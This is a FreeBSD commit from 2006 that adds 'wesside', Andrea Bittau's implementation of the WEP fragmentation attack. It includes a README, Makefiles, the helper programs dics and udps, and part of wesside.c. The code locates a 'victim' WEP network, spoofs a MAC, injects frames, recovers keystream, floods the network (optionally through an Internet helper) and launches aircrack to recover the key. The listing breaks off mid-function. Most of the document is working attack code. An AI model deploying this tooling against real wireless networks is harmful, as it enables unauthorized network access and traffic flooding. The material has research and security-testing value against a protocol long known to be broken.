From f81ca90c9f2cceba6516a9fafec37a1484c75f68 Mon Sep 17 00:00:00 2001 From: sam Date: Mon, 7 Aug 2006 00:05:04 +0000 Subject: another tool that uses the raw tx api Submitted by: Andrea Bittau --- tools/tools/net80211/wesside/Makefile | 5 + tools/tools/net80211/wesside/README | 36 + tools/tools/net80211/wesside/dics/Makefile | 10 + tools/tools/net80211/wesside/dics/dics.c | 455 ++++ tools/tools/net80211/wesside/udps/Makefile | 10 + tools/tools/net80211/wesside/udps/udps.c | 197 ++ tools/tools/net80211/wesside/wesside/Makefile | 10 + tools/tools/net80211/wesside/wesside/wesside.c | 2661 ++++++++++++++++++++++++ 8 files changed, 3384 insertions(+) create mode 100644 tools/tools/net80211/wesside/Makefile create mode 100644 tools/tools/net80211/wesside/README create mode 100644 tools/tools/net80211/wesside/dics/Makefile create mode 100644 tools/tools/net80211/wesside/dics/dics.c create mode 100644 tools/tools/net80211/wesside/udps/Makefile create mode 100644 tools/tools/net80211/wesside/udps/udps.c create mode 100644 tools/tools/net80211/wesside/wesside/Makefile create mode 100644 tools/tools/net80211/wesside/wesside/wesside.c (limited to 'tools/tools/net80211') diff --git a/tools/tools/net80211/wesside/Makefile b/tools/tools/net80211/wesside/Makefile new file mode 100644 index 0000000..5b20fa4 --- /dev/null +++ b/tools/tools/net80211/wesside/Makefile @@ -0,0 +1,5 @@ +# $FreeBSD$ + +SUBDIR= dics udps wesside + +.include diff --git a/tools/tools/net80211/wesside/README b/tools/tools/net80211/wesside/README new file mode 100644 index 0000000..f8c709f --- /dev/null +++ b/tools/tools/net80211/wesside/README @@ -0,0 +1,36 @@ +$FreeBSD$ + +This is an implementation of the frag attack described in: +http://tapir.cs.ucl.ac.uk/bittau-wep.pdf +It will only work with Atheros. It could be made to work with other cards, but +it is more difficult. + +wesside's features: +=================== +* Channel hops, finds a WEP wifi, finds a MAC to spoof if necessary and + associates. +* Waits for a packet. Uses fragmentation to recover some keystream. +* Discovers the network's IP using the linear keystream expansion technique in + order to decrypt an ARP packet. +* Generates traffic on the network for weak IV attack: + - Either by flooding with ARP requests. + - Or, by contacting someone on the Internet [udps] and telling it to flood. +* Uses aircrack periodically to attempt to crack the WEP key. The supplied + aircrack is modified to work with wesside. +* Binds to a tap interface to allow TX. RX works if a dictionary is being buil +t + [dics] and a packt with a known IV traverses the network. + +Examples: +========= +For the skiddies: +./wesside + +To cause the Internet to flood: +[Internet box]~$ ./udps 500 +./wesside -s ip_of_internet_box + +To build a dictionary: +[Internet box]~# ./dicts source_ip_of_box 100 +./wesside -s ip_of_internet_box +Use tap3 as if it were the wifi. diff --git a/tools/tools/net80211/wesside/dics/Makefile b/tools/tools/net80211/wesside/dics/Makefile new file mode 100644 index 0000000..9765243 --- /dev/null +++ b/tools/tools/net80211/wesside/dics/Makefile @@ -0,0 +1,10 @@ +# $FreeBSD$ + +PROG= dics +BINDIR= /usr/local/bin +DPADD= ${LIBZ} +LDADD= -lz +CFLAGS=-g +NO_MAN= + +.include diff --git a/tools/tools/net80211/wesside/dics/dics.c b/tools/tools/net80211/wesside/dics/dics.c new file mode 100644 index 0000000..54bc981 --- /dev/null +++ b/tools/tools/net80211/wesside/dics/dics.c @@ -0,0 +1,455 @@ +/*- + * Copyright (c) 2006, Andrea Bittau + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD$ + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#define __FAVOR_BSD +#include + +#if 0 +#include +#endif + +#define MAGIC_LEN (20+8+5) + +#define PRGA_LEN (1500-14-20-8) + +#define BSD +//#define LINUX + +#ifdef LINUX +struct ippseudo { + struct in_addr ippseudo_src; /* source internet address */ + struct in_addr ippseudo_dst; /* destination internet address */ + u_char ippseudo_pad; /* pad, must be zero */ + u_char ippseudo_p; /* protocol */ + u_short ippseudo_len; /* protocol length */ +}; +#endif + +#define DPORT 6969 +#define TTLSENT 128 + +int pps = 10; +int poll_rate =5; + +/********** RIPPED +************/ +unsigned short in_cksum (unsigned short *ptr, int nbytes) { + register long sum; + u_short oddbyte; + register u_short answer; + + sum = 0; + while (nbytes > 1) + { + sum += *ptr++; + nbytes -= 2; + } + + if (nbytes == 1) + { + oddbyte = 0; + *((u_char *) & oddbyte) = *(u_char *) ptr; + sum += oddbyte; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + answer = ~sum; + return (answer); +} +/************** +************/ + +void hexdump(unsigned char *ptr, int len) { + while(len > 0) { + printf("%.2X ", *ptr); + ptr++; len--; + } + printf("\n"); +} + +int check_signal(int s, char* ip, unsigned char* ttl, unsigned short* port) { + unsigned char buf[1024]; + int rd; + struct msghdr msg; + struct iovec iv; + struct sockaddr_in s_in; + struct { + struct cmsghdr hdr; + unsigned char ttl; + } ctl; + + iv.iov_base = buf; + iv.iov_len = sizeof(buf); + + memset(&msg, 0, sizeof(msg)); + memset(&ctl, 0, sizeof(ctl)); + msg.msg_name = &s_in; + msg.msg_namelen = sizeof(s_in); + msg.msg_iov = &iv; + msg.msg_iovlen = 1; + msg.msg_control = &ctl; + msg.msg_controllen = sizeof(ctl); + + rd = recvmsg(s, &msg, 0); + if (rd == -1) { + perror("recvmsg()"); + exit(1); + } + + if (rd != 5) + return 0; + + if ( ctl.hdr.cmsg_level != IPPROTO_IP || +#ifdef LINUX + ctl.hdr.cmsg_type != IP_TTL +#else + ctl.hdr.cmsg_type != IP_RECVTTL +#endif + ) { + + printf("Didn't get ttl! len=%d level=%d type=%d\n", + ctl.hdr.cmsg_len, ctl.hdr.cmsg_level, ctl.hdr.cmsg_type); + exit(1); + } + + if (memcmp(buf, "sorbo", 5) != 0) + return 0; + + strcpy(ip, inet_ntoa(s_in.sin_addr)); + *ttl = ctl.ttl; + *port = ntohs(s_in.sin_port); + return 1; +} + +#if 0 +int check_signal(const unsigned char* buf, int rd, + char* ip, char* ttl, unsigned short *port) { + int got_it; + struct ip* iph; + struct udphdr* uh; + + if (rd != MAGIC_LEN) + return 0; + + iph = (struct ip*) buf; + uh = (struct udphdr*) ((char*)iph + 20); + + if ( htons(uh->uh_dport) != DPORT) + return 0; + + got_it = memcmp(&buf[rd-5], "sorbo", 5) == 0; + + strcpy(ip, inet_ntoa(iph->ip_src)); + *ttl = iph->ip_ttl; + + *port = ntohs(uh->uh_sport); + return got_it; +} +#endif + +unsigned int udp_checksum(unsigned char *stuff0, int len, struct in_addr *sip, + struct in_addr *dip) { + unsigned char *stuff; + struct ippseudo *ph; + + stuff = (unsigned char*) malloc(len + sizeof(struct ippseudo)); + if(!stuff) { + perror("malloc()"); + exit(1); + } + + ph = (struct ippseudo*) stuff; + + memcpy(&ph->ippseudo_src, sip, 4); + memcpy(&ph->ippseudo_dst, dip, 4); + ph->ippseudo_pad = 0; + ph->ippseudo_p = IPPROTO_UDP; + ph->ippseudo_len = htons(len); + + memcpy(stuff + sizeof(struct ippseudo), stuff0, len); + + return in_cksum((unsigned short*)stuff, len+sizeof(struct ippseudo)); +} + +void send_stuff(int s, char* sip, char* ip, unsigned short port, int dlen) { + static unsigned char buf[PRGA_LEN+128] = "\x69"; + static int plen = 0; + static struct sockaddr_in dst; + int rd; + struct in_addr tmp_dst; + int stuff, delay; + int i; + + stuff = poll_rate*pps; + delay = (int) ((double)1.0/pps*1000.0*1000.0); + + inet_aton(ip, &tmp_dst); + if (tmp_dst.s_addr != dst.sin_addr.s_addr || + dlen != (plen - 20 - 8)) { + + buf[0] = '\x69'; + } + + // create packet + if (buf[0] == '\x69') { + struct ip* iph; + struct udphdr* uh; + char* ptr; + +// printf("Initializing packet...\n"); + memset(buf, 0, sizeof(buf)); + iph = (struct ip*) buf; + iph->ip_hl = 5; + iph->ip_v = 4; + iph->ip_tos = 0; + iph->ip_len = htons(20+8+dlen); + iph->ip_id = htons(666); + iph->ip_off = 0; + iph->ip_ttl = TTLSENT; + iph->ip_p = IPPROTO_UDP; + iph->ip_sum = 0; + + inet_aton(sip, &iph->ip_src); + inet_aton(ip, &iph->ip_dst); + + memset(&dst, 0, sizeof(dst)); + dst.sin_family = PF_INET; + dst.sin_port = htons(port); + memcpy(&dst.sin_addr, &iph->ip_dst, sizeof(dst.sin_addr)); + + iph->ip_sum = in_cksum((unsigned short*)iph, 20); + + uh = (struct udphdr*) ((char*)iph + 20); + uh->uh_sport = htons(DPORT); + uh->uh_dport = htons(port); + uh->uh_ulen = htons(8+dlen); + uh->uh_sum = 0; + + ptr = (char*) uh + 8; + + memset(ptr, 0, dlen); + + uh->uh_sum = udp_checksum((unsigned char*)uh, 8+dlen, + &iph->ip_src, &iph->ip_dst); + +#ifdef BSD + iph->ip_len = ntohs(iph->ip_len); +#endif + plen = 20+8+dlen; + } +#if 0 + printf("Packet %d %s %d\n", plen, inet_ntoa(dst.sin_addr), + ntohs(dst.sin_port)); + hexdump (buf, plen); +#endif + +// printf("sending stuff to %s\n", ip); + for (i = 0; i < stuff; i++) { + rd = sendto(s, buf, plen, 0, (struct sockaddr*)&dst, sizeof(dst)); + if (rd == -1) { + perror("sendto()"); + exit(1); + } + if (rd != plen) { + printf("wrote %d out of %d\n", rd, plen); + exit(1); + } + + // sending ttl.. + if (dlen != PRGA_LEN) + break; + usleep(delay); + } +} + +int main(int argc, char *argv[]) { + int s, us; + int rd = 1; + +#if 0 + const u_char* buf; + char errbuf[PCAP_ERRBUF_SIZE]; + struct pcap_pkthdr phdr; + pcap_t* p; + int dtl; +#endif + + int got_it = 0; + char ip[16] = "\x00"; + unsigned char ttl = 0; + unsigned short port; + struct sockaddr_in s_in; + struct timeval tv; + fd_set rfds; + unsigned char* sip = 0; + + if (argc < 2) { + printf("Usage: %s [pps]\n", argv[0]); + exit(1); + } + + if (argc > 2) { + pps = atoi(argv[2]); + } + + printf("PPS=%d\n", pps); + + sip = argv[1]; + + memset(&s_in, 0, sizeof(&s_in)); + us = socket (PF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (s == -1) { + perror("socket()"); + exit(1); + } + s_in.sin_family = PF_INET; + s_in.sin_addr.s_addr = INADDR_ANY; + s_in.sin_port = htons(DPORT); + if (bind (us, (struct sockaddr*)&s_in, sizeof(s_in)) == -1) { + perror("bind()"); + exit(1); + } + + rd = 1; + if (setsockopt(us, IPPROTO_IP, IP_RECVTTL, &rd, sizeof(rd)) == -1) { + perror("setsockopt()"); + exit(1); + } + + s = socket (PF_INET, SOCK_RAW, IPPROTO_UDP); + if (s == -1) { + perror("socket()"); + exit(1); + } + + rd = 1; + if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &rd, sizeof(rd)) == -1) { + perror("setsockopt()"); + exit(1); + } + + +#if 0 + p = pcap_open_live(argv[1], 512, 0, 25, errbuf); + if (!p) { + printf("pcap_open_live(): %s\n", errbuf); + exit(1); + } + + dtl = pcap_datalink(p); + + switch (dtl) { + case DLT_NULL: + dtl = 4; + break; + + case DLT_EN10MB: + dtl = 14; + break; + + default: + printf("Unknown datalink %d\n", dtl); + exit(1); + } + + printf("Datalink size=%d\n", dtl); +#endif + while (1) { +#if 0 + buf = pcap_next(p, &phdr); + if (buf) { + if (check_signal(buf+dtl, phdr.caplen-dtl, + ip, &ttl, &port)) { + got_it = 2; + printf("Got signal from %s:%d TTL=%d\n", + ip, port, ttl); + } + } +#endif + FD_ZERO(&rfds); + FD_SET(us, &rfds); + tv.tv_sec = 0; + tv.tv_usec = 10*1000; + rd = select(us+1, &rfds, NULL, NULL, &tv); + if (rd == -1) { + perror("select()"); + exit(1); + } + if (rd == 1 && FD_ISSET(us, &rfds)) { + char ipnew[16]; + unsigned char ttlnew; + if (check_signal(us, ipnew, &ttlnew, &port)) { + int send_ttl = 0; + if (ttlnew != ttl || strcmp(ipnew, ip) != 0 || + got_it == 0) { + send_ttl = 1; + } + ttl = ttlnew; + strcpy(ip, ipnew); + + printf("Got signal from %s:%d TTL=%d\n", + ip, port, ttl); + got_it = 2; + + if (send_ttl) { + printf("Sending ttl (%d)...\n", ttl); + send_stuff(s, sip, ip, port, 69 + (TTLSENT-ttl)); + } + } + } + + if (got_it) { + printf("Sending stuff to %s...\n", ip); + send_stuff(s, sip, ip, port, PRGA_LEN); + got_it--; + + if (got_it == 0) { + printf("Stopping send\n"); + } + } + } + +#if 0 + pcap_close(p); +#endif + + close(s); + close(us); + exit(0); +} diff --git a/tools/tools/net80211/wesside/udps/Makefile b/tools/tools/net80211/wesside/udps/Makefile new file mode 100644 index 0000000..257a181 --- /dev/null +++ b/tools/tools/net80211/wesside/udps/Makefile @@ -0,0 +1,10 @@ +# $FreeBSD$ + +PROG= udps +BINDIR= /usr/local/bin +DPADD= ${LIBZ} +LDADD= -lz +CFLAGS=-g +NO_MAN= + +.include diff --git a/tools/tools/net80211/wesside/udps/udps.c b/tools/tools/net80211/wesside/udps/udps.c new file mode 100644 index 0000000..8ffd1f0 --- /dev/null +++ b/tools/tools/net80211/wesside/udps/udps.c @@ -0,0 +1,197 @@ +/*- + * Copyright (c) 2006, Andrea Bittau + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD$ + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +int poll_rate = 5; +int pps = 10; + +//#define INSANE + +void own(int s, struct sockaddr_in* s_in) { + char buf[64]; + int times = 10; + int i; + int delay = 10*1000; + unsigned int sent = 0; + struct timeval start, end; + struct timespec ts; + int dont_sleep_times = 1; + int dont_sleep; + + delay = (int) ((double)1.0/pps*1000.0*1000.0); + + if (delay <= 5000) { + dont_sleep_times = 10; +/* + printf("delay is %d... sleeping every %d packets\n", + delay, dont_sleep_times); +*/ + delay *= dont_sleep_times; + + delay = (int) (0.90*delay); + } + + dont_sleep = dont_sleep_times; + times = poll_rate*pps; +// times *= dont_sleep; + + + + ts.tv_sec = 0; + ts.tv_nsec = delay*1000; + +// printf("times=%d delay=%d\n", times, delay); + if (gettimeofday(&start, NULL) == -1) { + perror("gettimeofday()"); + exit(1); + } + + for(i = 0; i < times; i++) { + if( sendto(s, buf, 6, 0, (struct sockaddr *)s_in, sizeof(*s_in)) != 6) { + printf("messed up a bit\n"); + return; + } + +#ifndef INSANE + +#if 0 + if (usleep(delay) == -1) { + perror("usleep()"); + exit(1); + } +#endif + dont_sleep--; + + if (!dont_sleep) { + if (nanosleep(&ts, NULL) == -1) { + perror("nanosleep()"); + exit(1); + } + + dont_sleep = dont_sleep_times; + } + +#endif + sent++; + } + + if (gettimeofday(&end, NULL) == -1) { + perror("gettimeofday()"); + exit(1); + } + + printf ("Sent %.03f p/s\n", ((double)sent)/(((double)end.tv_sec) - start.tv_sec)); + +// printf("Sent %d packets\n", i); +} + +int main(int argc, char* argv[]) { + int port = 6969; + struct sockaddr_in s_in; + int s; + int rd; + int len; + char buf[64]; + struct timeval tv; + int do_it = 0; + fd_set rfds; + char ip[17]; + + if( argc > 1) + pps = atoi(argv[1]); + + printf("Packets per second=%d\n", pps); + + s = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP); + if( s < 0) + err(1, "socket()"); + + s_in.sin_family = PF_INET; + s_in.sin_port = htons(port); + s_in.sin_addr.s_addr = INADDR_ANY; + + if( bind(s, (struct sockaddr*)&s_in, sizeof(s_in)) < 0) { + perror("bind()"); + exit(1); + } + + while(1) { + assert(do_it >= 0); + len = sizeof(struct sockaddr_in); + + memset(&tv, 0, sizeof(tv)); + tv.tv_usec = 1000*10; + FD_ZERO(&rfds); + FD_SET(s, &rfds); + rd = select(s + 1, &rfds, NULL ,NULL ,&tv); + if (rd == -1) { + perror("select()"); + exit(1); + } + if (rd == 1 && FD_ISSET(s, &rfds)) { + rd = recvfrom(s, buf, 64, 0, (struct sockaddr*)&s_in, &len); + + if(rd < 0) { + perror("read died"); + exit(1); + } + + if(rd == 5 && memcmp(buf, "sorbo", 5) == 0) { + sprintf(ip, "%s", inet_ntoa(s_in.sin_addr)); + printf("Got signal from %s\n", ip); +#ifdef INSANE + do_it = 10; +#else + do_it = 2; +#endif + } + } + + if (do_it) { + printf("Sending stuff to %s\n", ip); + + own(s, &s_in); + do_it--; + + if(do_it == 0) + printf("Stopping send\n"); + } + } +} diff --git a/tools/tools/net80211/wesside/wesside/Makefile b/tools/tools/net80211/wesside/wesside/Makefile new file mode 100644 index 0000000..da912e9 --- /dev/null +++ b/tools/tools/net80211/wesside/wesside/Makefile @@ -0,0 +1,10 @@ +# $FreeBSD$ + +PROG= wesside +BINDIR= /usr/local/bin +DPADD= ${LIBZ} +LDADD= -lz +CFLAGS=-g +NO_MAN= + +.include diff --git a/tools/tools/net80211/wesside/wesside/wesside.c b/tools/tools/net80211/wesside/wesside/wesside.c new file mode 100644 index 0000000..5845fef --- /dev/null +++ b/tools/tools/net80211/wesside/wesside/wesside.c @@ -0,0 +1,2661 @@ +/* + * wep owner by sorbo + * Aug 2005 + * + * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer + * overflows. this whole thing is experimental n e way. + * + * $FreeBSD$ + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define FIND_VICTIM 0 +#define FOUND_VICTIM 1 +#define SENDING_AUTH 2 +#define GOT_AUTH 3 +#define SPOOF_MAC 4 +#define SENDING_ASSOC 5 +#define GOT_ASSOC 6 + +int state = 0; + +struct timeval arpsend; + +struct tx_state { + int waiting_ack; + struct timeval tsent; + int retries; + unsigned int psent; +} txstate; + +struct chan_info { + int s; + struct ieee80211req ireq; + int chan; +} chaninfo; + +struct victim_info { + char* ssid; + int chan; + char bss[6]; +} victim; + +struct frag_state { + struct ieee80211_frame wh; + unsigned char* data; + int len; + unsigned char* ptr; + int waiting_relay; + struct timeval last; +} fragstate; + +struct prga_info { + unsigned char* prga; + unsigned int len; + unsigned char iv[3]; +} prgainfo; + +struct decrypt_state { + unsigned char* cipher; + int clen; + struct prga_info prgainfo; + struct frag_state fragstate; +} decryptstate; + +struct wep_log { + unsigned int packets; + unsigned int rate; + int fd; + unsigned char iv[3]; +} weplog; + +unsigned char* floodip = 0; +unsigned short floodport = 6969; +unsigned short floodsport = 53; + +unsigned char* netip = 0; + +unsigned char* rtrmac = 0; + +unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d"; +unsigned char myip[16] = "192.168.0.123"; + +int bits = 0; +int ttl_val = 0; + +unsigned char *victim_mac = 0; + +int ack_timeout = 100*1000; + +#define ARPLEN (8+ 8 + 20) +unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06"; +unsigned char ip_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x00"; + +#define MCAST_PREF "\x01\x00\x5e\x00\x00" + +#define WEP_FILE "wep.log" +#define PRGA_FILE "prga.log" + +unsigned int min_prga = 128; + +/* + * When starting aircrack we try first to use a + * local copy, falling back to where the installed + * version is expected. + * XXX builtin pathnames + */ +#define CRACK_LOCAL_CMD "../aircrack/aircrack" +#define CRACK_INSTALL_CMD "/usr/local/bin/aircrack" +int thresh_incr = 100000; + +#define MAGIC_TTL_PAD 69 + +int crack_dur = 60; +int wep_thresh = 100000; +int crack_pid = 0; +struct timeval crack_start; +struct timeval real_start; + +/* linksys does this. The hardware pads small packets. */ +#define PADDED_ARPLEN 54 + +#define PRGA_LEN (1500-14-20-8) +unsigned char inet_clear[8+20+8+PRGA_LEN+4]; + +#define DICT_PATH "dict" +#define TAP_DEV "/dev/tap3" +unsigned char tapdev[16]; +unsigned char taptx[4096]; +unsigned int taptx_len = 0; +int tapfd = -1; + +/********** RIPPED +************/ +unsigned short in_cksum (unsigned short *ptr, int nbytes) { + register long sum; + u_short oddbyte; + register u_short answer; + + sum = 0; + while (nbytes > 1) + { + sum += *ptr++; + nbytes -= 2; + } + + if (nbytes == 1) + { + oddbyte = 0; + *((u_char *) & oddbyte) = *(u_char *) ptr; + sum += oddbyte; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + answer = ~sum; + return (answer); +} +/************** +************/ + +unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip, + struct in_addr *dip) { + unsigned char *tmp; + struct ippseudo *ph; + + tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo)); + if(!tmp) + err(1, "malloc()"); + + ph = (struct ippseudo*) tmp; + + memcpy(&ph->ippseudo_src, sip, 4); + memcpy(&ph->ippseudo_dst, dip, 4); + ph->ippseudo_pad = 0; + ph->ippseudo_p = IPPROTO_UDP; + ph->ippseudo_len = htons(len); + + memcpy(tmp + sizeof(struct ippseudo), stuff, len); + + return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo)); +} + +void time_print(char* fmt, ...) { + va_list ap; + char lame[1024]; + time_t tt; + struct tm *t; + + va_start(ap, fmt); + vsnprintf(lame, sizeof(lame), fmt, ap); + va_end(ap); + + tt = time(NULL); + + if (tt == (time_t)-1) { + perror("time()"); + exit(1); + } + + t = localtime(&tt); + if (!t) { + perror("localtime()"); + exit(1); + } + + printf("[%.2d:%.2d:%.2d] %s", + t->tm_hour, t->tm_min, t->tm_sec, lame); +} + +void check_key() { + char buf[1024]; + int fd; + int rd; + struct timeval now; + + fd = open("key.log", O_RDONLY); + + if (fd == -1) { + return; + } + + rd = read(fd, buf, sizeof(buf) -1); + if (rd == -1) { + perror("read()"); + exit(1); + } + + buf[rd] = 0; + + close(fd); + + printf ("\n\n"); + time_print("KEY=(%s)\n", buf); + + if (gettimeofday(&now, NULL) == -1) { + perror("gettimeofday()"); + exit(1); + } + + printf ("Owned in %.02f minutes\n", + ((double) now.tv_sec - real_start.tv_sec)/60.0); + exit(0); +} + +void kill_crack() { + if (crack_pid == 0) + return; + + printf("\n"); + time_print("Stopping crack PID=%d\n", crack_pid); + + // XXX doesn't return -1 for some reason! [maybe on my box... so it + // might be buggy on other boxes...] + if (kill(crack_pid, SIGINT) == -1) { + perror("kill()"); + exit(1); + } + + crack_pid = 0; + + check_key(); +} + +void cleanup(int x) { + time_print("\nDying...\n"); + + if (weplog.fd) + close(weplog.fd); + + kill_crack(); + + exit(0); +} + +void set_chan(int c) { + if (c == chaninfo.chan) + return; + + chaninfo.ireq.i_val = c; + + if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) { + perror("ioctl(SIOCS80211) [chan]"); + exit(1); + } + chaninfo.chan = c; +} + +void setup_if(char *dev) { + int s; + struct ifreq ifr; + unsigned int flags; + struct ifmediareq ifmr; + int *mwords; + + if(strlen(dev) >= IFNAMSIZ) { + time_print("Interface name too long...\n"); + exit(1); + } + + time_print("Setting up %s... ", dev); + fflush(stdout); + + s = socket(PF_INET, SOCK_DGRAM, 0); + if (s == -1) { + perror("socket()"); + exit(1); + } + + // set iface up and promisc + memset(&ifr, 0, sizeof(ifr)); + strcpy(ifr.ifr_name, dev); + if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) { + perror("ioctl(SIOCGIFFLAGS)"); + exit(1); + } + + flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16); + flags |= IFF_UP | IFF_PPROMISC; + + memset(&ifr, 0, sizeof(ifr)); + strcpy(ifr.ifr_name, dev); + ifr.ifr_flags = flags & 0xffff; + ifr.ifr_flagshigh = flags >> 16; + if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) { + perror("ioctl(SIOCSIFFLAGS)"); + exit(1); + } + + // set monitor mode + memset(&ifmr, 0, sizeof(ifmr)); + strcpy(ifmr.ifm_name, dev); + if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) { + perror("ioctl(SIOCGIFMEDIA)"); + exit(1); + } + + if (ifmr.ifm_count == 0) { + time_print("0 media thinggies...\n"); + exit(1); + } + + mwords = (int *)malloc(ifmr.ifm_count * sizeof(int)); + if (!mwords) { + perror("malloc()"); + exit(1); + } + ifmr.ifm_ulist = mwords; + + if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) { + perror("ioctl(SIOCGIFMEDIA)"); + exit(1); + } + free(mwords); + + memset(&ifr, 0, sizeof(ifr)); + strcpy(ifr.ifr_name, dev); + ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR; + if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) { + perror("ioctl(SIOCSIFMEDIA)"); + exit(1); + } + + // set chan + memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq)); + strcpy(chaninfo.ireq.i_name, dev); + chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL; + + chaninfo.chan = 0; + chaninfo.s = s; + set_chan(1); + + printf("done\n"); +} + +int open_bpf(char *dev, int dlt) { + int i; + char buf[64]; + int fd = -1; + struct ifreq ifr; + + for(i = 0;i < 16; i++) { + sprintf(buf, "/dev/bpf%d", i); + + fd = open(buf, O_RDWR); + if(fd < 0) { + if(errno != EBUSY) { + perror("can't open /dev/bpf"); + exit(1); + } + continue; + } + else + break; + } + + if(fd < 0) { + perror("can't open /dev/bpf"); + exit(1); + } + + strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1); + ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0; + + if(ioctl(fd, BIOCSETIF, &ifr) < 0) { + perror("ioctl(BIOCSETIF)"); + exit(1); + } + + if (ioctl(fd, BIOCSDLT, &dlt) < 0) { + perror("ioctl(BIOCSDLT)"); + exit(1); + } + + i = 1; + if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) { + perror("ioctl(BIOCIMMEDIATE)"); + exit(1); + } + + return fd; +} + +void hexdump(unsigned char *ptr, int len) { + while(len > 0) { + printf("%.2X ", *ptr); + ptr++; len--; + } + printf("\n"); +} + +char* mac2str(unsigned char* mac) { + static char ret[6*3]; + + sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); + + return ret; +} + +void inject(int fd, void *buf, int len) +{ + static struct ieee80211_bpf_params params = { + .ibp_vers = IEEE80211_BPF_VERSION, + /* NB: no need to pass series 2-4 rate+try */ + .ibp_len = sizeof(struct ieee80211_bpf_params) - 6, + .ibp_rate0 = 2, /* 1 MB/s XXX */ + .ibp_try0 = 1, /* no retransmits */ + .ibp_flags = IEEE80211_BPF_NOACK, + .ibp_power = 100, /* nominal max */ + .ibp_pri = WME_AC_VO, /* high priority */ + }; + struct iovec iov[2]; + int rc; + + iov[0].iov_base = ¶ms; + iov[0].iov_len = params.ibp_len; + iov[1].iov_base = buf; + iov[1].iov_len = len; + rc = writev(fd, iov, 2); + if(rc == -1) { + perror("writev()"); + exit(1); + } + if (rc != (len + iov[0].iov_len)) { + time_print("Error Wrote %d out of %d\n", rc, + len+iov[0].iov_len); + exit(1); + } +} + +void send_frame(int tx, unsigned char* buf, int len) { + static unsigned char* lame = 0; + static int lamelen = 0; + static int lastlen = 0; + + // retransmit! + if (len == -1) { + txstate.retries++; + + if (txstate.retries > 10) { + time_print("ERROR Max retransmists for (%d bytes):\n", + lastlen); + 